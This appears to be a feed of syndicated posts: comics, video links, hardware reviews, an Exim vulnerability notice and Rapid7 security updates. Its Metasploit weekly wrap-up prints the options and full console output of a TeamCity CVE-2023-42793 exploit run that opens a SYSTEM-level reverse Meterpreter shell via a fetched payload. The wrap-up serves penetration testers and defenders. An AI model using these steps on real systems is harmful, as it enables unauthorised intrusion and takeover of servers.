Post Syndicated from xkcd.com original https://xkcd.com/2836/
![[after a minute] "Okay, I think I've got it, thanks. Can I--" "oOOOooOOooo!" [after a minute] "Okay, I think I've got it, thanks. Can I--" "oOOOooOOooo!"](https://imgs.xkcd.com/comics/a_halloween_carol.png)
Post Syndicated from xkcd.com original https://xkcd.com/2836/
![[after a minute] "Okay, I think I've got it, thanks. Can I--" "oOOOooOOooo!" [after a minute] "Okay, I think I've got it, thanks. Can I--" "oOOOooOOooo!"](https://imgs.xkcd.com/comics/a_halloween_carol.png)
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=p7eWVi_cW1g
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=Zar5d1PicPs
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=qUlyVpzJjLk
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=FxGx432Ug94
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=pDDVgN1sqmY
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=FOw4looPjjo
Post Syndicated from Will Taillac original https://www.servethehome.com/fanxiang-s660-4tb-pcie-gen4-nvme-ssd-review/
In our Fanxiang S660 review, we test the cheapest 4TB PCIe Gen4 NVMe SSD we could find on Amazon and show gaps in rated versus actual speed
The post Fanxiang S660 4TB PCIe Gen4 NVMe SSD Review appeared first on ServeTheHome.
Post Syndicated from Matt Granger original https://www.youtube.com/watch?v=McpsWsbX7d4
Post Syndicated from Explosm.net original https://explosm.net/comics/cool-teacher
New Cyanide and Happiness Comic
Post Syndicated from Oglaf! -- Comics. Often dirty. original https://www.oglaf.com/calcium/
Post Syndicated from Curious Droid original https://www.youtube.com/watch?v=eG3Hzm_q39c
Post Syndicated from corbet original https://lwn.net/Articles/946004/
The “Zero Day Initiative” site has posted a number of advisories (1, 2, 3, 4, 5, 6)
describing a number of flaws in the Exim mail server, some of which are
exploitable remotely. These problems, allegedly, were first reported to
the project in June 2022, well over one year ago. There is some
disagreement over the timing of events, with Exim developer Heiko
Schlittermann claiming
that no actual information was received until last May, and an anonymous
ZDI representative disputing
that story.
Either way, the vulnerabilities are now disclosed, but patches are not yet
on offer; Schlittermann said that “Fixes are available in a protected
“, so hopefully that situation will change soon.
repository and are ready to be applied by the distribution
maintainers
Post Syndicated from Patrick Kennedy original https://www.servethehome.com/sth-q3-2023-update-a-letter-from-the-editor-max-change/
In our Q3 2023 Letter from the Editor, we get into Q3 which was marked by growth, lots of travel, and a huge move to expand STH
The post STH Q3 2023 Update A Letter from the Editor Max Change appeared first on ServeTheHome.
Post Syndicated from Explosm.net original https://explosm.net/comics/edward
New Cyanide and Happiness Comic
Post Syndicated from Talks at Google original https://www.youtube.com/watch?v=_sVbESK7HxU
Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2023/09/friday-squid-blogging-protecting-cephalopods-in-medical-research.html
From Nature:
Cephalopods such as octopuses and squid could soon receive the same legal protection as mice and monkeys do when they are used in research. On 7 September, the US National Institutes of Health (NIH) asked for feedback on proposed guidelines that, for the first time in the United States, would require research projects involving cephalopods to be approved by an ethics board before receiving federal funding.
As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.
Read my blog posting guidelines here.
Post Syndicated from Roshnee Mistry Shah original https://blog.rapid7.com/2023/09/29/whats-new-in-insightvm-and-nexpose-q3-2023-in-review/

A lot of new and exciting product updates this quarter to help customers continue driving better security outcomes. We are thrilled to launch a new vulnerability risk scoring strategy this quarter along with upgrades like improved UI for the Engine Pool page, more policy coverage, and more. Let’s take a look at some of the key updates in InsightVM and Nexpose from Q3.
We’re excited to launch Active Risk in InsightVM and Nexpose Active Risk is Rapid7’s vulnerability risk-scoring methodology designed to help security teams prioritize vulnerabilities that are actively exploited or most likely to be exploited in the wild.
Our approach takes into account the latest version of the Common Vulnerability Scoring System (CVSS) available for a vulnerability and enriches it with multiple threat intelligence feeds, including proprietary Rapid7 research, to provide security teams with a threat-aware vulnerability risk score. Learn more here.
To help security teams communicate the risk posture cross-functionally by providing context on which vulnerabilities need to be prioritized and where the riskiest assets lie, we have launched two new dashboard cards in InsightVM:
In continuation with the Security Console user interface (UI) upgrades, Engine Pools is now located on its own page and has been updated with a new look. The updated UI can be accessed from the Administration page, and supports both light and dark modes for a more intuitive and consistent user experience.
Customers are adopting modern, containerized infrastructure due to its ease of installation and maintenance (OS upgrades). Containerized Scan Engine delivers the Scan Engine as a packaged or portable application that can easily be deployed to modern infrastructure. Rapid7 customers can now deploy containerized Scan Engine in popular cloud-hosted K8s platforms like Amazon EKS (Elastic Kubernetes Service) and Google GKE. Learn more here.
Customers can now enable policy assessment for Palo Alto 10, a critical firewall technology, in their environments. Policy assessment in InsightVM helps security teams assess the configuration of IT assets against commonly used CIS or DISA STIG benchmarks, allowing them to better meet compliance mandates and proactively secure their environment. You can use the Palo Alto Firewall 10 policy as-is or customize it to meet your business needs. Learn more here.
Quick Actions are pre-configured automation actions you can run within InsightVM to automate some of your most frequent tasks like creating an incident with ServiceNow, searching for vulnerabilities with AttackerKB, and more. No configuration is required for leveraging Quick Actions; you don’t need to deploy an orchestrator or create a single connection. Learn more here.
Note: To use Quick Actions, you’ll need an InsightConnect license, which is included at all tiers of the Cloud Risk Complete package.
We have been committed to providing swift coverage for the emergent threats Rapid7 responds to under our Emergent Threat Response (ETR) program. Since Q4 2022, we provided coverage the same day or within 24 hours for almost 30 emergent threats, which includes zero-day vulnerabilities. ETRs we responded to in the past quarter include:
Exploitation of Juniper Networks
On August 17, 2023, Juniper Networks published an out-of-band advisory on four different CVEs affecting Junos OS on SRX and EX Series devices. InsightVM and Nexpose customers can assess their exposure to all four CVEs with vulnerability checks. Learn more here.
CVE-2023-35078 – Critical API Access Vulnerability in Ivanti Endpoint Manager Mobile
CVE-2023-35078 is a remote unauthenticated API access vulnerability in Ivanti Endpoint Manager Mobile, which was previously branded as MobileIron Core. The vulnerability has a CVSS v3 base score of 10.0 and has a severity rating of Critical. An unauthenticated vulnerability check for CVE-2023-35078 is available to InsightVM customers. Learn more here.
Critical Zero-Day Vulnerability in Citrix NetScaler ADC and NetScaler Gateway
Citrix published a security bulletin warning users of three new vulnerabilities affecting NetScaler ADC and NetScaler Gateway. CVE-2023-3519 is known to be exploited in the wild. This product line is a popular target for attackers of all skill levels, and we expect that exploitation will increase quickly. Rapid7 strongly recommends updating to a fixed version on an emergency basis, without waiting for a typical patch cycle to occur. Learn more here.
Active Exploitation of Multiple Adobe ColdFusion Vulnerabilities
Adobe ColdFusion, an application server and a platform for building and deploying web and mobile applications, was affected by multiple CVE this month, including a Rapid7-discovered vulnerability (CVE-2023-29298). Learn more about the vulnerabilities and mitigation guidance here.
15 CVEs Affecting SonicWall
SonicWall published an urgent security advisory warning customers of 15 new vulnerabilities affecting on-premise instances of their Global Management System (GMS) and Analytics products.While these vulnerabilities are not known to be exploited in the wild, they could allow an attacker to view, modify, or delete data that they are not normally able to retrieve, causing persistent changes to the application’s content or behavior. Learn more here.
Post Syndicated from Explosm.net original https://explosm.net/comics/this-town
New Cyanide and Happiness Comic
Post Syndicated from Alan David Foster original https://blog.rapid7.com/2023/09/29/metasploit-weekly-wrap-up-29/

This week’s Metasploit release includes a new module for a critical authentication bypass in JetBrains TeamCity CI/CD Server. All versions of TeamCity prior to version 2023.05.4 are vulnerable to this issue. The vulnerability was originally discovered by SonarSource, and the Metasploit module was developed by Rapid7’s Principal Security Researcher Stephen Fewer who additionally published a technical analysis on AttackerKB for CVE-2023-42793. A Rapid7 TeamCity customer advisory has also been released with details on mitigation guidance.
This exploit works against both Windows and Linux targets. Example usage:
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > show options
Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.10 yes The target host(s)
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as
TEAMCITY_CHANGE_TIMEOUT 30 yes The timeout to wait for the changes to be applied
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME cymQYMMk no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > exploit
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.05.3 (build 129390) detected.
[*] Token already exists, deleting and generating a new one.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.UUxBSk0zMGk1eWFzRGZRYjg3LWJqWVVrY1Fn.YjU0NmIwYjUtNTZmNC00N2U3LWI4MGItMDdhOTQ0YjIzZGQ5
[*] Modifying internal.properties to allow process creation...
[*] Waiting for configuration change to be applied...
[*] Executing payload...
[*] Resetting the internal.properties settings...
[*] Sending stage (200774 bytes) to 192.168.250.237
[*] Waiting for configuration change to be applied...
[*] Deleting the authentication token.
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:65397) at 2023-09-28 13:29:20 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x64/windows
meterpreter >
Author: sfewer-r7
Type: Exploit
Pull request: #18408 contributed by sfewer-r7
Path: multi/http/jetbrains_teamcity_rce_cve_2023_42793
Description: This adds an unauthenticated RCE for JetBrain’s TeamCity server on both Linux and Windows. A remote attacker can exploit an authentication bypass vulnerability and then execute OS commands in the context of the service.
Authors: Filip Dragović (Wh04m1001), Octoberfest7, and bwatters-r7
Type: Exploit
Pull request: #18314 contributed by bwatters-r7
Path: windows/local/win_error_cve_2023_36874
Description: This adds an exploit module that leverages a directory traversal vulnerability in Windows 10. This vulnerability is identified as CVE-2023-36874 and enables an attacker to elevate privileges to those of the NT AUTHORITY\SYSTEM user. Note that this module works with Windows 10×64 22H2.
You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.
As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:
If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).